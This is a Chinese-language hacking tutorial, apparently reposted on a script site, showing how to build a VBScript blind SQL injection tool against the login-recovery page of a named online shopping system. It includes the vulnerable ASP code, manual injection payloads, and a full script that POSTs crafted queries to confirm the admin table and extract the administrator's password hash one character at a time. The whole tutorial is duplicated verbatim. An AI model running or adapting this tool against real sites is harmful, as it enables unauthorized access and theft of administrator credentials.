談VBS在Hacking中的作用———SQL Inject中的應(yīng)用
發(fā)布日期:2021-12-31 17:06 | 文章來源:腳本之家
平常我們遇到有注入漏洞一類的網(wǎng)站大部分人都是用NBSI Or 阿D一類的注射工具。但有的站點的注射點很難構(gòu)造,或者說注射語句比較特殊。如果用手工去注射的話,費時又費力!但自己寫針對性的工具的話,對一些剛?cè)腴T不久或不會編程的朋友來說,實在是一件很痛苦的事情。因此今天NP給大家?guī)淼奈恼戮褪侵v如何用簡單的VBS腳本來打造我們所要的注射工具。
在您繼續(xù)看這篇文章之前,我先大膽的假設(shè)此時的您已經(jīng)學會了VBS腳本的基礎(chǔ)知識以及基本的SQL Inject知識。
首先,我們先來看一段有漏洞的代碼。(此代碼摘自“網(wǎng)趣網(wǎng)上購物系統(tǒng)時尚版 v3.2”的Getpwd2.asp的片段)
<!--#include file="conn.asp" -->
<!--#include file="config.asp" -->
<%
username=request.form("username")
set rs=Server.CreateObject("Adodb.Recordset")
sql="select * from [user] where username='"&username&"' "
rs.open sql,conn,1,1
If rs.eof Then
%>
已知管理員表為admin 密碼字段為password
有經(jīng)驗的朋友可以很清楚的看到第6句的SQL語句把沒有經(jīng)過任何過濾的Username變量,直接提交執(zhí)行了。這是一個很經(jīng)典的SQL Inject漏洞。那么我們?nèi)绾稳ダ眠@個漏洞呢?
由于username變量是用request.form獲取的,而我們知道request.form只接受POST提交上來的數(shù)據(jù),因此我們不能像往常一樣構(gòu)造如下語句進行注射了。
http://127.0.0.1/getpwd2.asp?username=' or 0<>(select count(*) from admin) and ''='
//直接在URL地址欄輸入的話,由于是GET提交數(shù)據(jù),Getpwd2.asp是不會接收數(shù)據(jù)的。
看到這,您或許會說,那用NBSI中的POST提交功能呢?
經(jīng)過測試把http://127.0.0.1/getpwd2.asp?username= 填入NBSI地址欄,使用POST提交,NBSI會說“注入破解失敗”
由于語句的關(guān)系,NBSI無法幫我們跑出相關(guān)密碼。阿D就不用說了,全用GET…也無法幫我們完成任務(wù).
現(xiàn)在我們再測試下手工注射!
我們將如下語句填入getpwd.asp的表單中:
' or 0<>(select count(*) from admin) and ''='
返回正確提示,說明我們注射成功!
OK,架設(shè)的環(huán)境已經(jīng)大體分析清楚了….我們開始進入主題.
VBS 的注射腳本需要用到XmlHttp組件和ADODB.Stream組件,請確保您機器上存在這兩個組件!(默認系統(tǒng)自帶,但由于去年ADODB.Stream網(wǎng)頁木馬的事件,很多機器的 ADODB.Stream組件被刪除了,所以寫此注射腳本時,請保證該組件可以使用)
On error resume next
if (lcase(right(wscript.fullname,11))="wscript.exe") then
wscript.echo "Execute it under the cmd.exe Plz! Thx."
wscript.quit
end if
‘//上面的IF語句是判斷腳本執(zhí)行程序是否為wscript.exe,如果是則提示對方到CMD下執(zhí)行
URL=lcase(trim(Wscript.Arguments(0)))
‘//簡單過濾提交參數(shù)的兩邊空格以及轉(zhuǎn)換成全小寫.
RightW = "這個用戶沒有注冊"
‘//這個是定義判斷猜對與否的關(guān)鍵字
if url <> "" then
'猜解管理員表
data = "' or 0<>(select count(*) from admin) and ''='"
GetHTTPPage(url)
If len(GetHTTPPage(url)) <5 then
wscript.echo "Error...Please checking the url!"
wscript.quit
end if
‘//上面這個IF語句,主要是判斷反饋信息,如果反饋信息的長度少于5,那說明提交的URL有問題,需要退出重新檢查后再注射.
If Instr(GetHTTPPage(url), RightW) = 0 then
Wscript.echo "Table name ""admin"" find"
else
wscript.echo "Not found table name ...exit..."
wscript.quit
end If
‘//如果發(fā)現(xiàn)關(guān)鍵字,則報告表名猜解正確,否則退出!
'猜解密碼字段
data ="' or 0<>(select count(password) from admin) and ''='"
GetHTTPPage(url)
If Instr(GetHTTPPage(url), RightW) = 0 then
WScript.Echo ""
Wscript.echo "The Column name ""password"" find"
else
wscript.echo "Not found Column name ...exit..."
wscript.quit
End If
‘//猜解密碼字段亦同!
'猜解密碼
WScript.Echo ""
WScript.Echo "Start guessing,Waiting... ..."
WScript.Echo ""
pwd=""
strings="0123456789abcdef" '定義密碼范圍(構(gòu)成md5值的主要字符)
For i=1 To 16 Step 1
wscript.echo "Guessing
No. "&i&"... ..."
For k=1 To Len(strings) Step 1
data ="' or (select asc(mid(password,"&i&",1)) from admin where adminid=4)=asc("""&mid(strings,k,1)&""") and ''='"
GetHTTPPage(url)
If Instr(GetHTTPPage(url), RightW) = 0 then
pwd = pwd&Mid(strings,k,1)
Exit For
End If
Next
Next
‘//此腳本之精華之處,嵌套循環(huán)猜解密碼!
‘//依次取密碼與構(gòu)成MD5的主要16個字符的ASC值進行對比
‘//正確則給PWD附值并跳出單循環(huán),繼續(xù)下一個猜解
wscript.echo "--------------------------------------------------------------------------------"
wscript.echo "Guessing over!!!"
If error Then
Wscript.echo "error:" & Error.Description
Error.Clear
Else
Wscript.echo "Password is:" & pwd
End if
‘//輸出已經(jīng)猜解成功的密碼
else
wscript.echo "--------------------------------------------------------------------------------"
wscript.echo "e.g
cscript getpass.vbs http://127.0.0.1/getpwd2.asp"
wscript.echo "--------------------------------------------------------------------------------"
End if
‘//以下是注射的POST提交函數(shù)
‘//用ADODB.Stream轉(zhuǎn)換編碼,速度比較快,對于反饋數(shù)據(jù)多的站點比較有優(yōu)勢!
Function GetHTTPPage(url)
dim XmlHttp
set XmlHttp=createobject("Msxml2.XMLHTTP")
XmlHttp.open "POST",url,false
xmlHttp.setRequestHeader "Content-Type","application/x-www-form-urlencoded"
XmlHttp.send("username="&data)
if XmlHttp.readystate<>4 then exit function
GetHTTPPage=Bytes2bStr(xmlHttp.responsebody)
set XmlHttp=nothing
if err.number<>0 then err.Clear
End Function
Function Bytes2bStr(vin)
Dim BytesStream,StringReturn
Set BytesStream = CreateObject("ADODB.Stream")
BytesStream.Type = 2
BytesStream.Open
BytesStream.WriteText vin
BytesStream.Position = 0
BytesStream.Charset = "GB2312"
BytesStream.Position = 2
StringReturn =BytesStream.ReadText
BytesStream.close
Set BytesStream = Nothing
Bytes2bStr = StringReturn
End Function
注意事項:要提交的SQL語句,空格需要用加號替換,否則在有的機器上無法猜解!
以上就是我們自己針對性打造的注射工具了.
使用方法也很簡單,在CMD下執(zhí)行
Cscript getpass.vbs http://127.0.0.1/getpwd2.asp 即可!
怎么樣?是不是很簡單呢?
您或許還會說,為什么沒猜管理員的用戶名字段和相關(guān)ID呢?呵呵,這就留個大家當作業(yè)吧.
您可以添加如下功能:
自動判斷管理員的用戶名字段
自動判斷管理員的用戶名所在的有效ID值
可猜解指定的ID.
更深入的過濾及檢測URL是否有效.
多說無意…行動最實際! Go Go Go…開始打造你自己的注射程序
在您繼續(xù)看這篇文章之前,我先大膽的假設(shè)此時的您已經(jīng)學會了VBS腳本的基礎(chǔ)知識以及基本的SQL Inject知識。
首先,我們先來看一段有漏洞的代碼。(此代碼摘自“網(wǎng)趣網(wǎng)上購物系統(tǒng)時尚版 v3.2”的Getpwd2.asp的片段)
<!--#include file="conn.asp" -->
<!--#include file="config.asp" -->
<%
username=request.form("username")
set rs=Server.CreateObject("Adodb.Recordset")
sql="select * from [user] where username='"&username&"' "
rs.open sql,conn,1,1
If rs.eof Then
%>
已知管理員表為admin 密碼字段為password
有經(jīng)驗的朋友可以很清楚的看到第6句的SQL語句把沒有經(jīng)過任何過濾的Username變量,直接提交執(zhí)行了。這是一個很經(jīng)典的SQL Inject漏洞。那么我們?nèi)绾稳ダ眠@個漏洞呢?
由于username變量是用request.form獲取的,而我們知道request.form只接受POST提交上來的數(shù)據(jù),因此我們不能像往常一樣構(gòu)造如下語句進行注射了。
http://127.0.0.1/getpwd2.asp?username=' or 0<>(select count(*) from admin) and ''='
//直接在URL地址欄輸入的話,由于是GET提交數(shù)據(jù),Getpwd2.asp是不會接收數(shù)據(jù)的。
看到這,您或許會說,那用NBSI中的POST提交功能呢?
經(jīng)過測試把http://127.0.0.1/getpwd2.asp?username= 填入NBSI地址欄,使用POST提交,NBSI會說“注入破解失敗”
由于語句的關(guān)系,NBSI無法幫我們跑出相關(guān)密碼。阿D就不用說了,全用GET…也無法幫我們完成任務(wù).
現(xiàn)在我們再測試下手工注射!
我們將如下語句填入getpwd.asp的表單中:
' or 0<>(select count(*) from admin) and ''='
返回正確提示,說明我們注射成功!
OK,架設(shè)的環(huán)境已經(jīng)大體分析清楚了….我們開始進入主題.
VBS 的注射腳本需要用到XmlHttp組件和ADODB.Stream組件,請確保您機器上存在這兩個組件!(默認系統(tǒng)自帶,但由于去年ADODB.Stream網(wǎng)頁木馬的事件,很多機器的 ADODB.Stream組件被刪除了,所以寫此注射腳本時,請保證該組件可以使用)
On error resume next
if (lcase(right(wscript.fullname,11))="wscript.exe") then
wscript.echo "Execute it under the cmd.exe Plz! Thx."
wscript.quit
end if
‘//上面的IF語句是判斷腳本執(zhí)行程序是否為wscript.exe,如果是則提示對方到CMD下執(zhí)行
URL=lcase(trim(Wscript.Arguments(0)))
‘//簡單過濾提交參數(shù)的兩邊空格以及轉(zhuǎn)換成全小寫.
RightW = "這個用戶沒有注冊"
‘//這個是定義判斷猜對與否的關(guān)鍵字
if url <> "" then
'猜解管理員表
data = "' or 0<>(select count(*) from admin) and ''='"
GetHTTPPage(url)
If len(GetHTTPPage(url)) <5 then
wscript.echo "Error...Please checking the url!"
wscript.quit
end if
‘//上面這個IF語句,主要是判斷反饋信息,如果反饋信息的長度少于5,那說明提交的URL有問題,需要退出重新檢查后再注射.
If Instr(GetHTTPPage(url), RightW) = 0 then
Wscript.echo "Table name ""admin"" find"
else
wscript.echo "Not found table name ...exit..."
wscript.quit
end If
‘//如果發(fā)現(xiàn)關(guān)鍵字,則報告表名猜解正確,否則退出!
'猜解密碼字段
data ="' or 0<>(select count(password) from admin) and ''='"
GetHTTPPage(url)
If Instr(GetHTTPPage(url), RightW) = 0 then
WScript.Echo ""
Wscript.echo "The Column name ""password"" find"
else
wscript.echo "Not found Column name ...exit..."
wscript.quit
End If
‘//猜解密碼字段亦同!
'猜解密碼
WScript.Echo ""
WScript.Echo "Start guessing,Waiting... ..."
WScript.Echo ""
pwd=""
strings="0123456789abcdef" '定義密碼范圍(構(gòu)成md5值的主要字符)
For i=1 To 16 Step 1
wscript.echo "Guessing
No. "&i&"... ..."
For k=1 To Len(strings) Step 1
data ="' or (select asc(mid(password,"&i&",1)) from admin where adminid=4)=asc("""&mid(strings,k,1)&""") and ''='"
GetHTTPPage(url)
If Instr(GetHTTPPage(url), RightW) = 0 then
pwd = pwd&Mid(strings,k,1)
Exit For
End If
Next
Next
‘//此腳本之精華之處,嵌套循環(huán)猜解密碼!
‘//依次取密碼與構(gòu)成MD5的主要16個字符的ASC值進行對比
‘//正確則給PWD附值并跳出單循環(huán),繼續(xù)下一個猜解
wscript.echo "--------------------------------------------------------------------------------"
wscript.echo "Guessing over!!!"
If error Then
Wscript.echo "error:" & Error.Description
Error.Clear
Else
Wscript.echo "Password is:" & pwd
End if
‘//輸出已經(jīng)猜解成功的密碼
else
wscript.echo "--------------------------------------------------------------------------------"
wscript.echo "e.g
cscript getpass.vbs http://127.0.0.1/getpwd2.asp"
wscript.echo "--------------------------------------------------------------------------------"
End if
‘//以下是注射的POST提交函數(shù)
‘//用ADODB.Stream轉(zhuǎn)換編碼,速度比較快,對于反饋數(shù)據(jù)多的站點比較有優(yōu)勢!
Function GetHTTPPage(url)
dim XmlHttp
set XmlHttp=createobject("Msxml2.XMLHTTP")
XmlHttp.open "POST",url,false
xmlHttp.setRequestHeader "Content-Type","application/x-www-form-urlencoded"
XmlHttp.send("username="&data)
if XmlHttp.readystate<>4 then exit function
GetHTTPPage=Bytes2bStr(xmlHttp.responsebody)
set XmlHttp=nothing
if err.number<>0 then err.Clear
End Function
Function Bytes2bStr(vin)
Dim BytesStream,StringReturn
Set BytesStream = CreateObject("ADODB.Stream")
BytesStream.Type = 2
BytesStream.Open
BytesStream.WriteText vin
BytesStream.Position = 0
BytesStream.Charset = "GB2312"
BytesStream.Position = 2
StringReturn =BytesStream.ReadText
BytesStream.close
Set BytesStream = Nothing
Bytes2bStr = StringReturn
End Function
注意事項:要提交的SQL語句,空格需要用加號替換,否則在有的機器上無法猜解!
以上就是我們自己針對性打造的注射工具了.
使用方法也很簡單,在CMD下執(zhí)行
Cscript getpass.vbs http://127.0.0.1/getpwd2.asp 即可!
怎么樣?是不是很簡單呢?
您或許還會說,為什么沒猜管理員的用戶名字段和相關(guān)ID呢?呵呵,這就留個大家當作業(yè)吧.
您可以添加如下功能:
自動判斷管理員的用戶名字段
自動判斷管理員的用戶名所在的有效ID值
可猜解指定的ID.
更深入的過濾及檢測URL是否有效.
多說無意…行動最實際! Go Go Go…開始打造你自己的注射程序
版權(quán)聲明:本站文章來源標注為YINGSOO的內(nèi)容版權(quán)均為本站所有,歡迎引用、轉(zhuǎn)載,請保持原文完整并注明來源及原文鏈接。禁止復(fù)制或仿造本網(wǎng)站,禁止在非www.sddonglingsh.com所屬的服務(wù)器上建立鏡像,否則將依法追究法律責任。本站部分內(nèi)容來源于網(wǎng)友推薦、互聯(lián)網(wǎng)收集整理而來,僅供學習參考,不代表本站立場,如有內(nèi)容涉嫌侵權(quán),請聯(lián)系alex-e#qq.com處理。
相關(guān)文章